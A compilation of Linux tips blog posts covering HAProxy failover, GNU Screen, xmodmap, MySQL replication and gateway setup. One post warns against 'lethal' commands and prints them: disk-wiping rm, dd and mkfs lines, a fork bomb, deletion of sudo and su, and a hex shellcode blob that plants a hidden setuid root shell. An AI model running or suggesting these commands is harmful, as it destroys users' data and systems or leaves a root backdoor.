Failover and Load Balancing using HAProxy

HAProxy is open source proxy that can be used to enable high availability and load balancing for web applications. It was designed especially for high load projects so it is very fast and predictable, HAProxy is based on single-process model.

In this post I’ll describe sample setup of HAProxy: users’ requests are load balanced between two web servers Web1 and Web1, if one of them goes down then all the request are processed by alive server, once dead servers recovers load balancing enables again. See topology to the right.

Installation

HAProxy is included into repositories for major Linux distributions, so if you’re using Centos, Redhat or Fedora type the following command:

yum install haproxy

If you’re Ubuntu, Debian or Linux Mint user use this one instead:

apt-get install haproxy

Configuration

As soon as HAProxy is installed it’s time to edit its configuration file, usually it’s placed in /etc/haproxy/haproxy.cfg. Official documentation for HAProxy 1.4 (stable) is here.

Here is configuration file to implement setup shown at the diagram and described above:

global user daemon group daemon daemon log 127.0.0.1 daemon   listen http bind 1.2.3.4:80 mode http option tcplog   log global option dontlognull   balance roundrobin clitimeout 60000 srvtimeout 60000 contimeout 5000 retries 3 server web1 web1.example.com:80 check server web2 web2.example.com:80 check cookie web1 insert nocache cookie web2 insert nocache

Let’s stop on most important parts of this configuration file. Section global specifies user and group which will be used to run haproxy process (daemon in our example). Line daemon tells HAProxy to run in background, log 127.0.0.1 daemon specifies syslog facility for sending logs from HAProxy.

Section listen http contains line bind 1.2.3.4:80 that specifies IP address and port that will be used to accept users’ requests (they will be load balanced between Web1 and Web2). Line mode http means that HAProxy will filter all requests different from HTTP and will do load balancing over HTTP protocol.

Line balance roundrobin specifies load balancing algorithm according to which each web server (Web1 and Web2) will be used in turns according to their weights. In our example weights for both servers are the same so load balancing is fair.

Lines server web1 … and server web2 … specify web servers for load balancing and failover, in our case they are load balanced according to round robin algorithm and have the same priority/weight.

The last two lines in configuration files are optional, they makes it possible to preserve cookies, it means for example that if you logged in to web application hosted at Web1 and then HAProxy forwarded your next request to Web2 you will still have logged in session opened as cookies with session id from Web1 will be sent to you from Web2 as well.

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

13 Linux lethal commands

In this post we will see all commands which SHOULD NEVER be executed in Linux. Any of them will cause data loss or corruption, can freeze or hang up running system.

NEVER RUN THESE COMMANDS IN LINUX BOX CLI!

Even if somebody advises you in forum/im to do it.

1. Any of these commands will erase everything from your home directory, root or just will clear up whole disk:

• sudo rm -rf /
• rm -rf .*
• dd if=/dev/zero of=/dev/sda
• mkfs.ext3 /dev/hda
• whatever > /dev/hda
• cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
• find -type f -mtime +30 -exec mv {} /dev/null \;
• mv ~ /dev/null
• mv / /dev/null

2. Causes kernel panic or freezes Linux box:

• dd if=/dev/random of=/dev/port
• ){:|:&};: #also known as fork bomb

3. This one does the same as “rm -rf /”:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

4. This one will prevent you from executing commands with root rights:

rm -f /usr/bin/sudo;rm -f /bin/su

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

Find location of the program in Ubuntu

It’s rather trivial task for people who use Ubuntu for a long time but newbies usually have problems with adding program to startup if location of the program is unknown or it is required to specify full path to the program somewhere e.g. when opening attachment in mail client. There are two most popular ways to find this out:

1. which gedit
2. type gedit

Both will show full path to certain program (gnome editor in our example): /usr/bin/gedit:

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

How to scrollback in GNU SCREEN?

Q: I was compiling kernel using GNU Screen utility but something happened during the compilation and I want to see full error’s output but I can’t just scrollback using Ctrl+PageUp. How to scrollback in GNU Screen?

A: In GNU Screen press Ctrl + a + [ to enter Copy Mode, then scroll up/down using keys j or k. Below are some other navigation keys:

h -    Move the cursor left by one character
j -    Move the cursor down by one line
k -    Move the cursor up by one line
l -    Move the cursor right by one character
0 -    Move to the beginning of the current line
$ -    Move to the end of the current line.
G -    Moves to the specified line
       (defaults to the end of the buffer).
C-u -  Scrolls a half page up.
C-b -  Scrolls a full page up.
C-d -  Scrolls a half page down.
C-f -  Scrolls the full page down.

By the way, in order to define scrollback buffer size start screen with the following key (5000 lines in this example):

screen -h 5000

Quick info about GNU Screen utility: it is Unix tool that allows to run multiple applications in several “virtual” windows. It is very useful when you need, let’s say, to see hardware resources consumption caused by started application in different console etc. GNU screen is also good option to run applications remotely via ssh: just run application in screen and log off until it’s finished, then just “pick up” screen session and see how the application’s output.

You can use activate copy mode of GNU Screen also by Ctrl + Esc that might be more useful than Ctrl + a + [ shortcut (thanks to Yu-Jie Lin for this tip).

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

How to disable/remap a keyboard key in Linux?

Q: How can I disable one or several keys of my laptop keyboard in Linux? When I press DELETE key it gets stuck and deletes everything

A: No problem! You can use the following command to remap or disable any key of your keyboard:

xmodmap -e 'keycode <value>=<action>'

For example, run the following to disable your DELETE key: xmodmap -e 'keycode 107='. BTW you can get keycode that corresponds to certain keyboard button by using simple command xev







The full list of available keycodes and actions assigned to them on UK keyboard is below…

keycode 8 =
keycode 9 = Escape
keycode 10 = 1 exclam
keycode 11 = 2 quotedbl
keycode 12 = 3 sterling
keycode 13 = 4 dollar
keycode 14 = 5 percent
keycode 15 = 6 asciicircum
keycode 16 = 7 ampersand
keycode 17 = 8 asterisk
keycode 18 = 9 parenleft
keycode 19 = 0 parenright
keycode 20 = minus underscore
keycode 21 = equal plus
keycode 22 = Delete
keycode 23 = Tab
keycode 24 = Q
keycode 25 = W
keycode 26 = E
keycode 27 = R
keycode 28 = T
keycode 29 = Y
keycode 30 = U
keycode 31 = I
keycode 32 = O
keycode 33 = P
keycode 34 = bracketleft braceleft
keycode 35 = bracketright braceright
keycode 36 = Return
keycode 37 = Control_L
keycode 38 = A
keycode 39 = S
keycode 40 = D
keycode 41 = F
keycode 42 = G
keycode 43 = H
keycode 44 = J
keycode 45 = K
keycode 46 = L
keycode 47 = semicolon colon
keycode 48 = apostrophe at
keycode 49 = grave asciitilde
keycode 50 = Shift_L
keycode 51 = numbersign asciitilde
keycode 52 = Z
keycode 53 = X
keycode 54 = C
keycode 55 = V
keycode 56 = B
keycode 57 = N
keycode 58 = M
keycode 59 = comma less
keycode 60 = period greater
keycode 61 = slash question
keycode 62 = Shift_R
keycode 63 = KP_Multiply
keycode 64 = Alt_L
keycode 65 = space
keycode 66 = Caps_Lock
keycode 67 = F1
keycode 68 = F2
keycode 69 = F3
keycode 70 = F4
keycode 71 = F5
keycode 72 = F6
keycode 73 = F7
keycode 74 = F8
keycode 75 = F9
keycode 76 = F10
keycode 77 = Num_Lock
keycode 78 = Scroll_Lock
keycode 79 = Home KP_7 KP_7 Home
keycode 80 = Up KP_8 KP_8 Up
keycode 81 = Prior KP_9 KP_9 Prior
keycode 82 = KP_Subtract
keycode 83 = Left KP_4 KP_4 Left
keycode 84 = Begin KP_5 KP_5 Begin
keycode 85 = Right KP_6 KP_6 Right
keycode 86 = KP_Add
keycode 87 = End KP_1 KP_1 End
keycode 88 = Down KP_2 KP_2 Down
keycode 89 = Next KP_3 KP_3 Next
keycode 90 = Insert KP_0 KP_0 Insert
keycode 91 = Delete KP_Decimal KP_Decimal Delete
keycode 92 = 0x1007ff00
keycode 93 =
keycode 94 = backslash bar
keycode 95 = F11
keycode 96 = F12
keycode 97 = Home
keycode 98 = Up
keycode 99 = Prior
keycode 100 = Left
keycode 101 = Begin
keycode 102 = Right
keycode 103 = End
keycode 104 = Down
keycode 105 = Next
keycode 106 = Insert
keycode 107 = Delete
keycode 108 = KP_Enter
keycode 109 = Control_R
keycode 110 = Pause
keycode 111 = Print
keycode 112 = KP_Divide
keycode 113 = Mode_switch
keycode 114 = Break

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

Quick copy/paste MySQL Replication Manual

This quick manual tells how to set up database replication in MySQL. Basically it was written for 5.* MySQL versions but is also applicable for 3.23/4.0 ones (btw they are still in use, believe me).

As you might already know, replication allows you to create a copy of certain MySQL database from a master server on another server (slave). What is the most important, all updates made to that database on master server will be replicated to the database on the slave server immediately, so that both databases are synchronized almost in real time mode (if you need completely real-time synchronization/mirroring, the only solution is to deploy MySQL cluster).

One of the main issues is that replication features coming out-of-the-box with Open Source MySQL software don’t provide full back/forward compatibility. This means that you can easily replicate data from master and slave of the same MySQL versions only e.g. 5.0. But if you like to replicate database from 5.0 master to 4.0 slave (or from 3.23 master to 5.0 slave), it is not possible in most cases.

From the beginning we have two Linux boxes with MySQL installed (5.0.27 version in my example), server has database reptest we need to replicate to slave.

A. Configure Master:

Configure MySQL to accept incoming connections from another hosts in the network. In order to do it, comment the following lines in /etc/my.cnf (exact location depends on Linux distribution you use) as follows:

#skip-networking
#bind-address=127.0.0.1

and restart MySQL by “/etc/init.d/mysql restart” or “mysqladmin reload” command. Make sure that slave can access master’s MySQL via network (e.g. execute on slave “telnet <server_ip> 3306“).

The next step is to configure master to log all database changes into binary log that will be used by slave for replicating, add the following lines to /etc/my.cnf in [mysqld] section:

log_bin = mysql-bin
binlog-do-db=reptest
server-id=1

Then restart MySQL and log on to its shell with root rights:

/etc/init.d/mysql restart
mysql -u root -p
Enter password:

Type in MySQL shell the following commands:

GRANT REPLICATION SLAVE ON *.* TO 'slave_user'@'%' IDENTIFIED BY 'slave_password';
FLUSH PRIVILEGES;

Note: If you use 4.0 MySQL or older, you need to replace REPLICATION SLAVE in above line to FILE, so the lines will look like:

GRANT FILE ON *.* TO 'slave_user'@'%' IDENTIFIED BY 'slave_password';
FLUSH PRIVILEGES;

The next commands are:

USE reptest;
FLUSH TABLES WITH READ LOCK;
SHOW MASTER STATUS;

The last command should provide the following output we will use later on slave server:

mysql> SHOW MASTER STATUS;
+---------------+----------+-----------------+------------------+
| File          | Position | Binlog_do_db    | Binlog_ignore_db |
+---------------+----------+-----------------+------------------+
| mysql-bin.001 |   73     | reptest         |                  |
+---------------+----------+-----------------+------------------+
1 row in set (0.00 sec)

Now quit from MySQL shell as we need to prepare current dump of reptest database: quit.

Now, run from shell “mysqldump -u root -p --opt reptest > reptest.sql” and transfer reptest.sql file to slave server.

2. Configure Slave:

Create reptest database:

mysqladmin create reptest

and apply previously created/transfered dump to it via command:

mysql -u root -p reptest < /path/to/reptest.sql

Now edit /etc/my.cnf on slave and add the following lines to [mysqld] section:

server-id=2
master-host=192.168.0.1
master-user=slave_user
master-password=slave_password
master-connect-retry=60
replicate-do-db=reptest

where 192.168.0.1 is IP address of the server and server-id is unique ID assigned to slave Linux box.

Now restart MySQL with /etc/init.d/mysql restart and log on MySQL shell:

mysql -u root -p reptest
Enter password:

The next step is to apply changes saved in binary log on server:

SLAVE STOP;
CHANGE MASTER TO MASTER_HOST='192.168.0.1', MASTER_USER='slave_user', MASTER_PASSWORD='slave_password', MASTER_LOG_FILE='mysql-bin.001', MASTER_LOG_POS=73;
SLAVE START;

Now whenever reptest is updated on the master, all changes will be replicated to reptest on the slave.

For more Visit : http://www.quontrasolutions.com/blog/category/linux/

Set Linux Gateway

One can say that it is rather trivial task to set Linux gateway (or in other words to set up/change default gateway in Linux operating system) but I noticed that this question is one of the most popular among linux newbies so I decided to post a quick tip here on Linux Screw.

There are two most used ways to set up default gateway using Linux console. Of course modern linux distributions comes with graphical tools and programs for this purpose but old school CLI commands will live forever as are very simple and allow to do the job very quickly:

route add default gw 10.0.0.1
where 10.0.0.1 is IPv4 IP address of default gatway you would like to set up in your Linux.

ip route add default via 10.0.0.1

According to general networking recommendation it is a good practice to have gateway’s IP as the last IP from selected pool so very often default gateway’s IP will end with .254 e.g. 10.0.0.254. Anyway using above mentioned commands you can apply ANY default gateway. By the way, if you’d like to delete current default gateway, here is corresponding command:

route del default

Hope it helps!

P.S. Don’t forget that these commands require root previleges.

For more Visit : http://www.quontrasolutions.com/blog/category/linux/